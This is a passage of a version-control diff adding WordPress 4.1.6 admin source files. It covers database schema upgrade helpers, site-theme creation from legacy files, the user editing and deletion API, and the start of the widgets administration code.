+				$index_ary[$keyname]['columns'][] = array('fieldname' => $tableindex->Column_name, 'subpart' => $tableindex->Sub_part);
+				$index_ary[$keyname]['unique'] = ($tableindex->Non_unique == 0)?true:false;
+			}
+
+			// For each actual index in the index array.
+			foreach ($index_ary as $index_name => $index_data) {
+
+				// Build a create string to compare to the query.
+				$index_string = '';
+				if ($index_name == 'PRIMARY') {
+					$index_string .= 'PRIMARY ';
+				} else if($index_data['unique']) {
+					$index_string .= 'UNIQUE ';
+				}
+				$index_string .= 'KEY ';
+				if ($index_name != 'PRIMARY') {
+					$index_string .= $index_name;
+				}
+				$index_columns = '';
+
+				// For each column in the index.
+				foreach ($index_data['columns'] as $column_data) {
+					if ($index_columns != '') $index_columns .= ',';
+
+					// Add the field to the column list string.
+					$index_columns .= $column_data['fieldname'];
+					if ($column_data['subpart'] != '') {
+						$index_columns .= '('.$column_data['subpart'].')';
+					}
+				}
+				// Add the column list to the index create string.
+				$index_string .= ' ('.$index_columns.')';
+				if (!(($aindex = array_search($index_string, $indices)) === false)) {
+					unset($indices[$aindex]);
+					// todo: Remove this?
+					//echo "<pre style=\"border:1px solid #ccc;margin-top:5px;\">{$table}:<br />Found index:".$index_string."</pre>\n";
+				}
+				// todo: Remove this?
+				//else echo "<pre style=\"border:1px solid #ccc;margin-top:5px;\">{$table}:<br /><b>Did not find index:</b>".$index_string."<br />".print_r($indices, true)."</pre>\n";
+			}
+		}
+
+		// For every remaining index specified for the table.
+		foreach ( (array) $indices as $index ) {
+			// Push a query line into $cqueries that adds the index to that table.
+			$cqueries[] = "ALTER TABLE {$table} ADD $index";
+			$for_update[] = 'Added index ' . $table . ' ' . $index;
+		}
+
+		// Remove the original table creation query from processing.
+		unset( $cqueries[ $table ], $for_update[ $table ] );
+	}
+
+	$allqueries = array_merge($cqueries, $iqueries);
+	if ($execute) {
+		foreach ($allqueries as $query) {
+			// todo: Remove this?
+			//echo "<pre style=\"border:1px solid #ccc;margin-top:5px;\">".print_r($query, true)."</pre>\n";
+			$wpdb->query($query);
+		}
+	}
+
+	return $for_update;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.5.0
+ */
+function make_db_current( $tables = 'all' ) {
+	$alterations = dbDelta( $tables );
+	echo "<ol>\n";
+	foreach($alterations as $alteration) echo "<li>$alteration</li>\n";
+	echo "</ol>\n";
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.5.0
+ */
+function make_db_current_silent( $tables = 'all' ) {
+	dbDelta( $tables );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.5.0
+ *
+ * @param string $theme_name
+ * @param string $template
+ * @return bool
+ */
+function make_site_theme_from_oldschool($theme_name, $template) {
+	$home_path = get_home_path();
+	$site_dir = WP_CONTENT_DIR . "/themes/$template";
+
+	if (! file_exists("$home_path/index.php"))
+		return false;
+
+	/*
+	 * Copy files from the old locations to the site theme.
+	 * TODO: This does not copy arbitrary include dependencies. Only the standard WP files are copied.
+	 */
+	$files = array('index.php' => 'index.php', 'wp-layout.css' => 'style.css', 'wp-comments.php' => 'comments.php', 'wp-comments-popup.php' => 'comments-popup.php');
+
+	foreach ($files as $oldfile => $newfile) {
+		if ($oldfile == 'index.php')
+			$oldpath = $home_path;
+		else
+			$oldpath = ABSPATH;
+
+		// Check to make sure it's not a new index.
+		if ($oldfile == 'index.php') {
+			$index = implode('', file("$oldpath/$oldfile"));
+			if (strpos($index, 'WP_USE_THEMES') !== false) {
+				if (! @copy(WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME . '/index.php', "$site_dir/$newfile"))
+					return false;
+
+				// Don't copy anything.
+				continue;
+				}
+		}
+
+		if (! @copy("$oldpath/$oldfile", "$site_dir/$newfile"))
+			return false;
+
+		chmod("$site_dir/$newfile", 0777);
+
+		// Update the blog header include in each file.
+		$lines = explode("\n", implode('', file("$site_dir/$newfile")));
+		if ($lines) {
+			$f = fopen("$site_dir/$newfile", 'w');
+
+			foreach ($lines as $line) {
+				if (preg_match('/require.*wp-blog-header/', $line))
+					$line = '//' . $line;
+
+				// Update stylesheet references.
+				$line = str_replace("<?php echo __get_option('siteurl'); ?>/wp-layout.css", "<?php bloginfo('stylesheet_url'); ?>", $line);
+
+				// Update comments template inclusion.
+				$line = str_replace("<?php include(ABSPATH . 'wp-comments.php'); ?>", "<?php comments_template(); ?>", $line);
+
+				fwrite($f, "{$line}\n");
+			}
+			fclose($f);
+		}
+	}
+
+	// Add a theme header.
+	$header = "/*\nTheme Name: $theme_name\nTheme URI: " . __get_option('siteurl') . "\nDescription: A theme automatically created by the update.\nVersion: 1.0\nAuthor: Moi\n*/\n";
+
+	$stylelines = file_get_contents("$site_dir/style.css");
+	if ($stylelines) {
+		$f = fopen("$site_dir/style.css", 'w');
+
+		fwrite($f, $header);
+		fwrite($f, $stylelines);
+		fclose($f);
+	}
+
+	return true;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.5.0
+ *
+ * @param string $theme_name
+ * @param string $template
+ * @return null|false
+ */
+function make_site_theme_from_default($theme_name, $template) {
+	$site_dir = WP_CONTENT_DIR . "/themes/$template";
+	$default_dir = WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME;
+
+	// Copy files from the default theme to the site theme.
+	//$files = array('index.php', 'comments.php', 'comments-popup.php', 'footer.php', 'header.php', 'sidebar.php', 'style.css');
+
+	$theme_dir = @ opendir($default_dir);
+	if ($theme_dir) {
+		while(($theme_file = readdir( $theme_dir )) !== false) {
+			if (is_dir("$default_dir/$theme_file"))
+				continue;
+			if (! @copy("$default_dir/$theme_file", "$site_dir/$theme_file"))
+				return;
+			chmod("$site_dir/$theme_file", 0777);
+		}
+	}
+	@closedir($theme_dir);
+
+	// Rewrite the theme header.
+	$stylelines = explode("\n", implode('', file("$site_dir/style.css")));
+	if ($stylelines) {
+		$f = fopen("$site_dir/style.css", 'w');
+
+		foreach ($stylelines as $line) {
+			if (strpos($line, 'Theme Name:') !== false) $line = 'Theme Name: ' . $theme_name;
+			elseif (strpos($line, 'Theme URI:') !== false) $line = 'Theme URI: ' . __get_option('url');
+			elseif (strpos($line, 'Description:') !== false) $line = 'Description: Your theme.';
+			elseif (strpos($line, 'Version:') !== false) $line = 'Version: 1';
+			elseif (strpos($line, 'Author:') !== false) $line = 'Author: You';
+			fwrite($f, $line . "\n");
+		}
+		fclose($f);
+	}
+
+	// Copy the images.
+	umask(0);
+	if (! mkdir("$site_dir/images", 0777)) {
+		return false;
+	}
+
+	$images_dir = @ opendir("$default_dir/images");
+	if ($images_dir) {
+		while(($image = readdir($images_dir)) !== false) {
+			if (is_dir("$default_dir/images/$image"))
+				continue;
+			if (! @copy("$default_dir/images/$image", "$site_dir/images/$image"))
+				return;
+			chmod("$site_dir/images/$image", 0777);
+		}
+	}
+	@closedir($images_dir);
+}
+
+// Create a site theme from the default theme.
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.5.0
+ *
+ * @return false|string
+ */
+function make_site_theme() {
+	// Name the theme after the blog.
+	$theme_name = __get_option('blogname');
+	$template = sanitize_title($theme_name);
+	$site_dir = WP_CONTENT_DIR . "/themes/$template";
+
+	// If the theme already exists, nothing to do.
+	if ( is_dir($site_dir)) {
+		return false;
+	}
+
+	// We must be able to write to the themes dir.
+	if (! is_writable(WP_CONTENT_DIR . "/themes")) {
+		return false;
+	}
+
+	umask(0);
+	if (! mkdir($site_dir, 0777)) {
+		return false;
+	}
+
+	if (file_exists(ABSPATH . 'wp-layout.css')) {
+		if (! make_site_theme_from_oldschool($theme_name, $template)) {
+			// TODO: rm -rf the site theme directory.
+			return false;
+		}
+	} else {
+		if (! make_site_theme_from_default($theme_name, $template))
+			// TODO: rm -rf the site theme directory.
+			return false;
+	}
+
+	// Make the new site theme active.
+	$current_template = __get_option('template');
+	if ($current_template == WP_DEFAULT_THEME) {
+		update_option('template', $template);
+		update_option('stylesheet', $template);
+	}
+	return $template;
+}
+
+/**
+ * Translate user level to user role name.
+ *
+ * @since 2.0.0
+ *
+ * @param int $level User level.
+ * @return string User role name.
+ */
+function translate_level_to_role($level) {
+	switch ($level) {
+	case 10:
+	case 9:
+	case 8:
+		return 'administrator';
+	case 7:
+	case 6:
+	case 5:
+		return 'editor';
+	case 4:
+	case 3:
+	case 2:
+		return 'author';
+	case 1:
+		return 'contributor';
+	case 0:
+		return 'subscriber';
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 2.1.0
+ */
+function wp_check_mysql_version() {
+	global $wpdb;
+	$result = $wpdb->check_database_version();
+	if ( is_wp_error( $result ) )
+		die( $result->get_error_message() );
+}
+
+/**
+ * Disables the Automattic widgets plugin, which was merged into core.
+ *
+ * @since 2.2.0
+ */
+function maybe_disable_automattic_widgets() {
+	$plugins = __get_option( 'active_plugins' );
+
+	foreach ( (array) $plugins as $plugin ) {
+		if ( basename( $plugin ) == 'widgets.php' ) {
+			array_splice( $plugins, array_search( $plugin, $plugins ), 1 );
+			update_option( 'active_plugins', $plugins );
+			break;
+		}
+	}
+}
+
+/**
+ * Disables the Link Manager on upgrade, if at the time of upgrade, no links exist in the DB.
+ *
+ * @since 3.5.0
+ */
+function maybe_disable_link_manager() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version >= 22006 && get_option( 'link_manager_enabled' ) && ! $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) )
+		update_option( 'link_manager_enabled', 0 );
+}
+
+/**
+ * Runs before the schema is upgraded.
+ *
+ * @since 2.9.0
+ */
+function pre_schema_upgrade() {
+	global $wp_current_db_version, $wpdb;
+
+	// Upgrade versions prior to 2.9
+	if ( $wp_current_db_version < 11557 ) {
+		// Delete duplicate options. Keep the option with the highest option_id.
+		$wpdb->query("DELETE o1 FROM $wpdb->options AS o1 JOIN $wpdb->options AS o2 USING (`option_name`) WHERE o2.option_id > o1.option_id");
+
+		// Drop the old primary key and add the new.
+		$wpdb->query("ALTER TABLE $wpdb->options DROP PRIMARY KEY, ADD PRIMARY KEY(option_id)");
+
+		// Drop the old option_name index. dbDelta() doesn't do the drop.
+		$wpdb->query("ALTER TABLE $wpdb->options DROP INDEX option_name");
+	}
+
+	// Multisite schema upgrades.
+	if ( $wp_current_db_version < 25448 && is_multisite() && ! defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) && is_main_network() ) {
+
+		// Upgrade verions prior to 3.7
+		if ( $wp_current_db_version < 25179 ) {
+			// New primary key for signups.
+			$wpdb->query( "ALTER TABLE $wpdb->signups ADD signup_id BIGINT(20) NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST" );
+			$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain" );
+		}
+
+		if ( $wp_current_db_version < 25448 ) {
+			// Convert archived from enum to tinyint.
+			$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived varchar(1) NOT NULL default '0'" );
+			$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived tinyint(2) NOT NULL default 0" );
+		}
+	}
+
+	if ( $wp_current_db_version < 30133 ) {
+		// dbDelta() can recreate but can't drop the index.
+		$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX slug" );
+	}
+}
+
+/**
+ * Install global terms.
+ *
+ * @since 3.0.0
+ *
+ */
+if ( !function_exists( 'install_global_terms' ) ) :
+function install_global_terms() {
+	global $wpdb, $charset_collate;
+	$ms_queries = "
+CREATE TABLE $wpdb->sitecategories (
+  cat_ID bigint(20) NOT NULL auto_increment,
+  cat_name varchar(55) NOT NULL default '',
+  category_nicename varchar(200) NOT NULL default '',
+  last_updated timestamp NOT NULL,
+  PRIMARY KEY  (cat_ID),
+  KEY category_nicename (category_nicename),
+  KEY last_updated (last_updated)
+) $charset_collate;
+";
+// now create tables
+	dbDelta( $ms_queries );
+}
+endif;
Index: /tags/4.1.6/src/wp-admin/includes/user.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/user.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/user.php	(revision 33402)
@@ -0,0 +1,442 @@
+<?php
+/**
+ * WordPress user administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Creates a new user from the "Users" form using $_POST information.
+ *
+ * @since 2.0.0
+ *
+ * @return null|WP_Error|int Null when adding user, WP_Error or User ID integer when no parameters.
+ */
+function add_user() {
+	return edit_user();
+}
+
+/**
+ * Edit user settings based on contents of $_POST
+ *
+ * Used on user-edit.php and profile.php to manage and process user options, passwords etc.
+ *
+ * @since 2.0.0
+ *
+ * @param int $user_id Optional. User ID.
+ * @return int user id of the updated user
+ */
+function edit_user( $user_id = 0 ) {
+	global $wp_roles;
+	$user = new stdClass;
+	if ( $user_id ) {
+		$update = true;
+		$user->ID = (int) $user_id;
+		$userdata = get_userdata( $user_id );
+		$user->user_login = wp_slash( $userdata->user_login );
+	} else {
+		$update = false;
+	}
+
+	if ( !$update && isset( $_POST['user_login'] ) )
+		$user->user_login = sanitize_user($_POST['user_login'], true);
+
+	$pass1 = $pass2 = '';
+	if ( isset( $_POST['pass1'] ) )
+		$pass1 = $_POST['pass1'];
+	if ( isset( $_POST['pass2'] ) )
+		$pass2 = $_POST['pass2'];
+
+	if ( isset( $_POST['role'] ) && current_user_can( 'edit_users' ) ) {
+		$new_role = sanitize_text_field( $_POST['role'] );
+		$potential_role = isset($wp_roles->role_objects[$new_role]) ? $wp_roles->role_objects[$new_role] : false;
+		// Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
+		// Multisite super admins can freely edit their blog roles -- they possess all caps.
+		if ( ( is_multisite() && current_user_can( 'manage_sites' ) ) || $user_id != get_current_user_id() || ($potential_role && $potential_role->has_cap( 'edit_users' ) ) )
+			$user->role = $new_role;
+
+		// If the new role isn't editable by the logged-in user die with error
+		$editable_roles = get_editable_roles();
+		if ( ! empty( $new_role ) && empty( $editable_roles[$new_role] ) )
+			wp_die(__('You can&#8217;t give users that role.'));
+	}
+
+	if ( isset( $_POST['email'] ))
+		$user->user_email = sanitize_text_field( wp_unslash( $_POST['email'] ) );
+	if ( isset( $_POST['url'] ) ) {
+		if ( empty ( $_POST['url'] ) || $_POST['url'] == 'http://' ) {
+			$user->user_url = '';
+		} else {
+			$user->user_url = esc_url_raw( $_POST['url'] );
+			$protocols = implode( '|', array_map( 'preg_quote', wp_allowed_protocols() ) );
+			$user->user_url = preg_match('/^(' . $protocols . '):/is', $user->user_url) ? $user->user_url : 'http://'.$user->user_url;
+		}
+	}
+	if ( isset( $_POST['first_name'] ) )
+		$user->first_name = sanitize_text_field( $_POST['first_name'] );
+	if ( isset( $_POST['last_name'] ) )
+		$user->last_name = sanitize_text_field( $_POST['last_name'] );
+	if ( isset( $_POST['nickname'] ) )
+		$user->nickname = sanitize_text_field( $_POST['nickname'] );
+	if ( isset( $_POST['display_name'] ) )
+		$user->display_name = sanitize_text_field( $_POST['display_name'] );
+
+	if ( isset( $_POST['description'] ) )
+		$user->description = trim( $_POST['description'] );
+
+	foreach ( wp_get_user_contact_methods( $user ) as $method => $name ) {
+		if ( isset( $_POST[$method] ))
+			$user->$method = sanitize_text_field( $_POST[$method] );
+	}
+
+	if ( $update ) {
+		$user->rich_editing = isset( $_POST['rich_editing'] ) && 'false' == $_POST['rich_editing'] ? 'false' : 'true';
+		$user->admin_color = isset( $_POST['admin_color'] ) ? sanitize_text_field( $_POST['admin_color'] ) : 'fresh';
+		$user->show_admin_bar_front = isset( $_POST['admin_bar_front'] ) ? 'true' : 'false';
+	}
+
+	$user->comment_shortcuts = isset( $_POST['comment_shortcuts'] ) && 'true' == $_POST['comment_shortcuts'] ? 'true' : '';
+
+	$user->use_ssl = 0;
+	if ( !empty($_POST['use_ssl']) )
+		$user->use_ssl = 1;
+
+	$errors = new WP_Error();
+
+	/* checking that username has been typed */
+	if ( $user->user_login == '' )
+		$errors->add( 'user_login', __( '<strong>ERROR</strong>: Please enter a username.' ) );
+
+	/* checking the password has been typed twice */
+	/**
+	 * Fires before the password and confirm password fields are checked for congruity.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $user_login The username.
+	 * @param string &$pass1     The password, passed by reference.
+	 * @param string &$pass2     The confirmed password, passed by reference.
+	 */
+	do_action_ref_array( 'check_passwords', array( $user->user_login, &$pass1, &$pass2 ) );
+
+	if ( $update ) {
+		if ( empty($pass1) && !empty($pass2) )
+			$errors->add( 'pass', __( '<strong>ERROR</strong>: You entered your new password only once.' ), array( 'form-field' => 'pass1' ) );
+		elseif ( !empty($pass1) && empty($pass2) )
+			$errors->add( 'pass', __( '<strong>ERROR</strong>: You entered your new password only once.' ), array( 'form-field' => 'pass2' ) );
+	} else {
+		if ( empty($pass1) )
+			$errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter your password.' ), array( 'form-field' => 'pass1' ) );
+		elseif ( empty($pass2) )
+			$errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter your password twice.' ), array( 'form-field' => 'pass2' ) );
+	}
+
+	/* Check for "\" in password */
+	if ( false !== strpos( wp_unslash( $pass1 ), "\\" ) )
+		$errors->add( 'pass', __( '<strong>ERROR</strong>: Passwords may not contain the character "\\".' ), array( 'form-field' => 'pass1' ) );
+
+	/* checking the password has been typed twice the same */
+	if ( $pass1 != $pass2 )
+		$errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter the same password in the two password fields.' ), array( 'form-field' => 'pass1' ) );
+
+	if ( !empty( $pass1 ) )
+		$user->user_pass = $pass1;
+
+	if ( !$update && isset( $_POST['user_login'] ) && !validate_username( $_POST['user_login'] ) )
+		$errors->add( 'user_login', __( '<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' ));
+
+	if ( !$update && username_exists( $user->user_login ) )
+		$errors->add( 'user_login', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' ));
+
+	/* checking e-mail address */
+	if ( empty( $user->user_email ) ) {
+		$errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please enter an e-mail address.' ), array( 'form-field' => 'email' ) );
+	} elseif ( !is_email( $user->user_email ) ) {
+		$errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The email address isn&#8217;t correct.' ), array( 'form-field' => 'email' ) );
+	} elseif ( ( $owner_id = email_exists($user->user_email) ) && ( !$update || ( $owner_id != $user->ID ) ) ) {
+		$errors->add( 'email_exists', __('<strong>ERROR</strong>: This email is already registered, please choose another one.'), array( 'form-field' => 'email' ) );
+	}
+
+	/**
+	 * Fires before user profile update errors are returned.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array   &$errors An array of user profile update errors, passed by reference.
+	 * @param bool    $update  Whether this is a user update.
+	 * @param WP_User &$user   WP_User object, passed by reference.
+	 */
+	do_action_ref_array( 'user_profile_update_errors', array( &$errors, $update, &$user ) );
+
+	if ( $errors->get_error_codes() )
+		return $errors;
+
+	if ( $update ) {
+		$user_id = wp_update_user( $user );
+	} else {
+		$user_id = wp_insert_user( $user );
+		wp_new_user_notification( $user_id, isset( $_POST['send_password'] ) ? wp_unslash( $pass1 ) : '' );
+	}
+	return $user_id;
+}
+
+/**
+ * Fetch a filtered list of user roles that the current user is
+ * allowed to edit.
+ *
+ * Simple function who's main purpose is to allow filtering of the
+ * list of roles in the $wp_roles object so that plugins can remove
+ * inappropriate ones depending on the situation or user making edits.
+ * Specifically because without filtering anyone with the edit_users
+ * capability can edit others to be administrators, even if they are
+ * only editors or authors. This filter allows admins to delegate
+ * user management.
+ *
+ * @since 2.8.0
+ *
+ * @return array
+ */
+function get_editable_roles() {
+	global $wp_roles;
+
+	$all_roles = $wp_roles->roles;
+
+	/**
+	 * Filter the list of editable roles.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $all_roles List of roles.
+	 */
+	$editable_roles = apply_filters( 'editable_roles', $all_roles );
+
+	return $editable_roles;
+}
+
+/**
+ * Retrieve user data and filter it.
+ *
+ * @since 2.0.5
+ *
+ * @param int $user_id User ID.
+ * @return WP_User|bool WP_User object on success, false on failure.
+ */
+function get_user_to_edit( $user_id ) {
+	$user = get_userdata( $user_id );
+
+	if ( $user )
+		$user->filter = 'edit';
+
+	return $user;
+}
+
+/**
+ * Retrieve the user's drafts.
+ *
+ * @since 2.0.0
+ *
+ * @param int $user_id User ID.
+ * @return array
+ */
+function get_users_drafts( $user_id ) {
+	global $wpdb;
+	$query = $wpdb->prepare("SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'draft' AND post_author = %d ORDER BY post_modified DESC", $user_id);
+
+	/**
+	 * Filter the user's drafts query string.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $query The user's drafts query string.
+	 */
+	$query = apply_filters( 'get_users_drafts', $query );
+	return $wpdb->get_results( $query );
+}
+
+/**
+ * Remove user and optionally reassign posts and links to another user.
+ *
+ * If the $reassign parameter is not assigned to an User ID, then all posts will
+ * be deleted of that user. The action 'delete_user' that is passed the User ID
+ * being deleted will be run after the posts are either reassigned or deleted.
+ * The user meta will also be deleted that are for that User ID.
+ *
+ * @since 2.0.0
+ *
+ * @param int $id User ID.
+ * @param int $reassign Optional. Reassign posts and links to new User ID.
+ * @return bool True when finished.
+ */
+function wp_delete_user( $id, $reassign = null ) {
+	global $wpdb;
+
+	$id = (int) $id;
+	$user = new WP_User( $id );
+
+	if ( !$user->exists() )
+		return false;
+
+	// Normalize $reassign to null or a user ID. 'novalue' was an older default.
+	if ( 'novalue' === $reassign ) {
+		$reassign = null;
+	} elseif ( null !== $reassign ) {
+		$reassign = (int) $reassign;
+	}
+
+	/**
+	 * Fires immediately before a user is deleted from the database.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int      $id       ID of the user to delete.
+	 * @param int|null $reassign ID of the user to reassign posts and links to.
+	 *                           Default null, for no reassignment.
+	 */
+	do_action( 'delete_user', $id, $reassign );
+
+	if ( null === $reassign ) {
+		$post_types_to_delete = array();
+		foreach ( get_post_types( array(), 'objects' ) as $post_type ) {
+			if ( $post_type->delete_with_user ) {
+				$post_types_to_delete[] = $post_type->name;
+			} elseif ( null === $post_type->delete_with_user && post_type_supports( $post_type->name, 'author' ) ) {
+				$post_types_to_delete[] = $post_type->name;
+			}
+		}
+
+		/**
+		 * Filter the list of post types to delete with a user.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array $post_types_to_delete Post types to delete.
+		 * @param int   $id                   User ID.
+		 */
+		$post_types_to_delete = apply_filters( 'post_types_to_delete_with_user', $post_types_to_delete, $id );
+		$post_types_to_delete = implode( "', '", $post_types_to_delete );
+		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d AND post_type IN ('$post_types_to_delete')", $id ) );
+		if ( $post_ids ) {
+			foreach ( $post_ids as $post_id )
+				wp_delete_post( $post_id );
+		}
+
+		// Clean links
+		$link_ids = $wpdb->get_col( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id) );
+
+		if ( $link_ids ) {
+			foreach ( $link_ids as $link_id )
+				wp_delete_link($link_id);
+		}
+	} else {
+		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
+		$wpdb->update( $wpdb->posts, array('post_author' => $reassign), array('post_author' => $id) );
+		if ( ! empty( $post_ids ) ) {
+			foreach ( $post_ids as $post_id )
+				clean_post_cache( $post_id );
+		}
+		$link_ids = $wpdb->get_col( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id) );
+		$wpdb->update( $wpdb->links, array('link_owner' => $reassign), array('link_owner' => $id) );
+		if ( ! empty( $link_ids ) ) {
+			foreach ( $link_ids as $link_id )
+				clean_bookmark_cache( $link_id );
+		}
+	}
+
+	// FINALLY, delete user
+	if ( is_multisite() ) {
+		remove_user_from_blog( $id, get_current_blog_id() );
+	} else {
+		$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
+		foreach ( $meta as $mid )
+			delete_metadata_by_mid( 'user', $mid );
+
+		$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );
+	}
+
+	clean_user_cache( $user );
+
+	/**
+	 * Fires immediately after a user is deleted from the database.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int      $id       ID of the deleted user.
+	 * @param int|null $reassign ID of the user to reassign posts and links to.
+	 *                           Default null, for no reassignment.
+	 */
+	do_action( 'deleted_user', $id, $reassign );
+
+	return true;
+}
+
+/**
+ * Remove all capabilities from user.
+ *
+ * @since 2.1.0
+ *
+ * @param int $id User ID.
+ */
+function wp_revoke_user($id) {
+	$id = (int) $id;
+
+	$user = new WP_User($id);
+	$user->remove_all_caps();
+}
+
+add_action('admin_init', 'default_password_nag_handler');
+/**
+ * @since 2.8.0
+ */
+function default_password_nag_handler($errors = false) {
+	global $user_ID;
+	// Short-circuit it.
+	if ( ! get_user_option('default_password_nag') )
+		return;
+
+	// get_user_setting = JS saved UI setting. else no-js-fallback code.
+	if ( 'hide' == get_user_setting('default_password_nag') || isset($_GET['default_password_nag']) && '0' == $_GET['default_password_nag'] ) {
+		delete_user_setting('default_password_nag');
+		update_user_option($user_ID, 'default_password_nag', false, true);
+	}
+}
+
+add_action('profile_update', 'default_password_nag_edit_user', 10, 2);
+
+/**
+ * @since 2.8.0
+ */
+function default_password_nag_edit_user($user_ID, $old_data) {
+	// Short-circuit it.
+	if ( ! get_user_option('default_password_nag', $user_ID) )
+		return;
+
+	$new_data = get_userdata($user_ID);
+
+	// Remove the nag if the password has been changed.
+	if ( $new_data->user_pass != $old_data->user_pass ) {
+		delete_user_setting('default_password_nag');
+		update_user_option($user_ID, 'default_password_nag', false, true);
+	}
+}
+
+add_action('admin_notices', 'default_password_nag');
+
+/**
+ * @since 2.8.0
+ */
+function default_password_nag() {
+	global $pagenow;
+	// Short-circuit it.
+	if ( 'profile.php' == $pagenow || ! get_user_option('default_password_nag') )
+		return;
+
+	echo '<div class="error default-password-nag">';
+	echo '<p>';
+	echo '<strong>' . __('Notice:') . '</strong> ';
+	_e('You&rsquo;re using the auto-generated password for your account. Would you like to change it to something easier to remember?');
+	echo '</p><p>';
+	printf( '<a href="%s">' . __('Yes, take me to my profile page') . '</a> | ', get_edit_profile_url() . '#password' );
+	printf( '<a href="%s" id="default-password-nag-no">' . __('No thanks, do not remind me again') . '</a>', '?default_password_nag=0' );
+	echo '</p></div>';
+}
Index: /tags/4.1.6/src/wp-admin/includes/widgets.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/widgets.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/widgets.php	(revision 33402)
@@ -0,0 +1,245 @@
+<?php
+/**
+ * WordPress Widgets Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Display list of the available widgets.
+ *
+ * @since 2.5.0
+ */
+function wp_list_widgets() {
+	global $wp_registered_widgets, $wp_registered_widget_controls;
+
+	$sort = $wp_registered_widgets;
+	usort( $sort, '_sort_name_callback' );
+	$done = array();
+
+	foreach ( $sort as $widget ) {
+		if ( in_array( $widget['callback'], $done, true ) ) // We already showed this multi-widget
+			continue;
+
+		$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
+		$done[] = $widget['callback'];
+
+		if ( ! isset( $widget['params'][0] ) )
+			$widget['params'][0] = array();
+
+		$args = array( 'widget_id' => $widget['id'], 'widget_name' => $widget['name'], '_display' => 'template' );
+
+		if ( isset($wp_registered_widget_controls[$widget['id']]['id_base']) && isset($widget['params'][0]['number']) ) {
+			$id_base = $wp_registered_widget_controls[$widget['id']]['id_base'];
+			$args['_temp_id'] = "$id_base-__i__";
+			$args['_multi_num'] = next_widget_id_number($id_base);
+			$args['_add'] = 'multi';
+		} else {
+			$args['_add'] = 'single';
+			if ( $sidebar )
+				$args['_hide'] = '1';
+		}
+
+		$args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) );
+		call_user_func_array( 'wp_widget_control', $args );
+	}
+}
+
+/**
+ * Callback to sort array by a 'name' key.
+ *
+ * @since 3.1.0
+ * @access private
+ */
+function _sort_name_callback( $a, $b ) {
+	return strnatcasecmp( $a['name'], $b['name'] );
+}
+
+/**
+ * Show the widgets and their settings for a sidebar.
+ * Used in the admin widget config screen.
+ *
+ * @since 2.5.0
+ *
+ * @param string $sidebar id slug of the sidebar
+ * @param string optional $sidebar_name Include the HTML for the sidebar name
+ */
+function wp_list_widget_controls( $sidebar, $sidebar_name = '' ) {
+	add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' );
+
+	$description = wp_sidebar_description( $sidebar );
+
+	echo '<div id="' . esc_attr( $sidebar ) . '" class="widgets-sortables">';
+
+	if ( $sidebar_name ) {
+		?>
+		<div class="sidebar-name">
+			<div class="sidebar-name-arrow"><br /></div>
+			<h3><?php echo esc_html( $sidebar_name ); ?> <span class="spinner"></span></h3>
+		</div>
+		<?php
+	}
+
+	echo '<div class="sidebar-description">';
+
+	if ( ! empty( $description ) ) {
+		echo '<p class="description">' . $description . '</p>';
+	}
+
+	echo '</div>';
+
+	dynamic_sidebar( $sidebar );
+
+	echo '</div>';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param array $params
+ * @return array
+ */
